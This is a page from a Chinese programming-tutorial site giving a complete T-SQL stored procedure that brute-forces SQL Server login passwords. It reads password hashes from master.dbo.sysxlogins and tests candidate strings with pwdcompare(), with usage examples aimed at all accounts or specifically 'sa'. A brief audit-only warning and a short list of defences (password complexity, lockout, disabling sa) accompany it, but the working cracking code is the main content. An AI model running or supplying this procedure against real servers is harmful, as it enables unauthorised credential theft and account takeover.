首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server SA 密碼暴力破解預存程序(窮舉法)

     編輯:關於SqlServer

警告:本程式碼僅供安全審計與教學用途,嚴禁用於未授權系統。

此預存程序採用窮舉法嘗試破解 SQL Server 登入密碼,支援中文、特殊字元、尾隨空格,理論上可破解任意長度(受限於效能與時間)。

程式碼

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassWord]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
    drop procedure [dbo].[p_GetPassWord]
go

create procedure p_GetPassWord
    @username sysname = null,  -- 指定使用者,null 為全部
    @pwdlen int = 2            -- 最大嘗試長度(預設 2 碼)
as
begin
    set @pwdlen = case when isnull(@pwdlen,0) < 1 then 1 else @pwdlen - 1 end

    -- 輔助數字表
    select top 255 id = identity(int,0,1) into #t from syscolumns
    alter table #t add constraint PK_#t primary key(id)

    -- 目標登入雜湊
    select name, password,
           type = case when xstatus & 2048 = 2048 then 1 else 0 end,
           jm = case when password is null then 1 else 0 end,
           pwdstr = cast('' as sysname),
           pwd = cast('' as varchar(8000))
    into #pwd
    from master.dbo.sysxlogins a
    where srvid is null
      and name = isnull(@username, name)

    declare @s1 varchar(8000), @s2 varchar(8000), @s3 varchar(8000), @l int
    select @l = 0, @s1 = 'char(aa.id)', @s2 = 'cast(aa.id as varchar)', @s3 = ',#t aa'

    -- 長度 1
    exec('update pwd set jm=1, pwdstr=' + @s1 + ', pwd=' + @s2 +
         ' from #pwd pwd' + @s3 +
         ' where pwd.jm=0 and pwdcompare(' + @s1 + ', pwd.password, pwd.type)=1')

    -- 遞增長度
    while exists(select 1 from #pwd where jm=0 and @l < @pwdlen)
    begin
        select @l = @l + 1,
               @s1 = @s1 + '+char(' + char(@l/26+97) + char(@l%26+97) + '.id)',
               @s2 = @s2 + '+'''',''' + 'cast(' + char(@l/26+97) + char(@l%26+97) + '.id as varchar)',
               @s3 = @s3 + ',#t ' + char(@l/26+97) + char(@l%26+97)
        exec('update pwd set jm=1, pwdstr=' + @s1 + ', pwd=' + @s2 +
             ' from #pwd pwd' + @s3 +
             ' where pwd.jm=0 and pwdcompare(' + @s1 + ', pwd.password, pwd.type)=1')
    end

    select 用戶名 = name, 密碼 = pwdstr, 密碼ASCII = pwd from #pwd
end
go

使用範例

-- 破解所有使用者,最長 4 碼
exec p_GetPassWord @pwdlen = 4

-- 破解特定使用者 sa,最長 6 碼
exec p_GetPassWord @username = 'sa', @pwdlen = 6

原理解析

  • 利用 pwdcompare() 比對候選明文與儲存雜湊。
  • 動態構建 SQL,逐字元遞增組合(雙字母編碼 aa, ab, ac... 最多 26×26=676 變數表別名)。
  • 將破解結果以字元與 ASCII 碼雙重顯示,便於識別特殊字元。

防禦對策

  1. 強制複雜度:長度 ≥ 12、大小寫、數字、符號混合。
  2. 啟用帳號鎖定原則(登入失敗閾值)。
  3. 定期輪換 sa 密碼,或停用 sa 改用專屬管理帳號。
  4. 稽核 sysxlogins 異常登入嘗試。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved